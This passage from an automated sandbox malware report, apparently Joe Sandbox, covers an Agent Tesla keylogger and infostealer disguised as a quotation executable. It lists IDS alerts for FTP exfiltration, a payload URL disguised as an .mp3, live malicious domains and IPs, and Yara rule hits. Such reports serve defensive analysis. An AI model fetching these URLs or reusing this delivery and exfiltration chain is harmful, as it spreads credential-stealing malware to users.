Egmgti.exe, 0000000D.00000002.1537444101.0000000003D28000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003169000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000033F3000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1315500116.00000000066C0000.00000004.08000000.00040000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.0000000004128000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003E55000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.000000000334B000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003D98000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003167000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1537444101.0000000003D28000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003169000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 06495ECFh	0_2_06495E4A
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 06495ECFh	0_2_06495E70
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 06496641h	0_2_064967C5
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 0649E420h	0_2_0649E439
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 06496641h	0_2_064965D1
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 06496641h	0_2_064965E0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 0649E420h	0_2_0649E368
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 0649E420h	0_2_0649E360
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 064C3DB3h	0_2_064C3D6B
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_064C2AE8
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_064C2AE1
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then jmp 064C3DB3h	0_2_064C3A85
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_0651D9A8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 06265ECFh	10_2_06265E70
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 06265ECFh	10_2_06265E4A
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 06266641h	10_2_062667C5
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 0626E420h	10_2_0626E439
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 06266641h	10_2_062665E0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 06266641h	10_2_062665D1
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 0626E420h	10_2_0626E360
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 0626E420h	10_2_0626E368
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 06293DB3h	10_2_06293D6B
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 06293DB3h	10_2_06293A7D
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	10_2_06292AE8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	10_2_06292AE1
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	10_2_062ED9A8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F26641h	13_2_05F265E0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F26641h	13_2_05F265D1
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F2E420h	13_2_05F2E439
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F26641h	13_2_05F267C5
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F25ECFh	13_2_05F25E70
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F25ECFh	13_2_05F25E4A
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F2E420h	13_2_05F2E360
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F2E420h	13_2_05F2E368
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F53DB3h	13_2_05F53D6B
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	13_2_05F52AE1
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	13_2_05F52AE8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then jmp 05F53DB3h	13_2_05F53A85
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	13_2_05FAD9A8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.10:53088 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.10:53089 -> 5.2.84.236:50668
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.10:53096 -> 5.2.84.236:53705
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.10:53091 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.10:53099 -> 5.2.84.236:54538
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.10:53098 -> 5.2.84.236:21

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 5.2.84.236 ports 1,2,54538,50668,53705,21

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.10:53089 -> 5.2.84.236:50668

Source: global traffic	HTTP traffic detected: GET /hzamni/Cfuydzh.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hzamni/Cfuydzh.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hzamni/Cfuydzh.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 67.212.175.162 67.212.175.162
Source: Joe Sandbox View	IP Address: 5.2.84.236 5.2.84.236

Source: Joe Sandbox View

ASN Name: ALASTYRTR ALASTYRTR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

FTP traffic detected: 5.2.84.236:21 -> 192.168.2.10:53088 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.

Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 67.212.175.162

Source: global traffic	HTTP traffic detected: GET /hzamni/Cfuydzh.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hzamni/Cfuydzh.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hzamni/Cfuydzh.mp3 HTTP/1.1Host: wymascensores.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: wymascensores.com
Source: global traffic	DNS traffic detected: DNS query: ftp.alternatifplastik.com

Source: InstallUtil.exe, 00000009.00000002.1423172719.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.1504620567.00000000026BC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2520008251.000000000329C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.alternatifplastik.com
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.0000000003091000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C0D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000030D8000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com
Source: Egmgti.exe, 0000000D.00000002.1505625261.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com/hzamni/Cfuydzh.mp3xC
Source: Egmgti.exe, 0000000A.00000002.1422897756.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com/hzamni/Cfuydzh.mp3xC.
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com/hzamni/Cfuydzh.mp3xC1

Source: unknown	Network traffic detected: HTTP traffic on port 53097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53090

Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.10:53087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.10:53090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.10:53097 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, SKTzxzsJw.cs

.Net Code: RePIUNFdBeM

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 10.2.Egmgti.exe.3ee0f08.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.Egmgti.exe.3ee0f08.2.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649FBA8 NtProtectVirtualMemory,	0_2_0649FBA8
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649FBA1 NtProtectVirtualMemory,	0_2_0649FBA1
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C10F0 NtResumeThread,	0_2_064C10F0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064C10E8 NtResumeThread,	0_2_064C10E8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626FBA8 NtProtectVirtualMemory,	10_2_0626FBA8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626FBA1 NtProtectVirtualMemory,	10_2_0626FBA1
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062910F0 NtResumeThread,	10_2_062910F0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062910E8 NtResumeThread,	10_2_062910E8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F2FBA8 NtProtectVirtualMemory,	13_2_05F2FBA8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F2FBA1 NtProtectVirtualMemory,	13_2_05F2FBA1
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F510F0 NtResumeThread,	13_2_05F510F0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F510E8 NtResumeThread,	13_2_05F510E8

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0138B28D	0_2_0138B28D
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0138174C	0_2_0138174C
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0138C694	0_2_0138C694
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01380B50	0_2_01380B50
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01388BC0	0_2_01388BC0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0138514C	0_2_0138514C
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01382141	0_2_01382141
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01382090	0_2_01382090
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_01385308	0_2_01385308
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_013823C8	0_2_013823C8
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0138E218	0_2_0138E218
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0138E208	0_2_0138E208
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0138184A	0_2_0138184A
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_013848B0	0_2_013848B0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_013848A0	0_2_013848A0
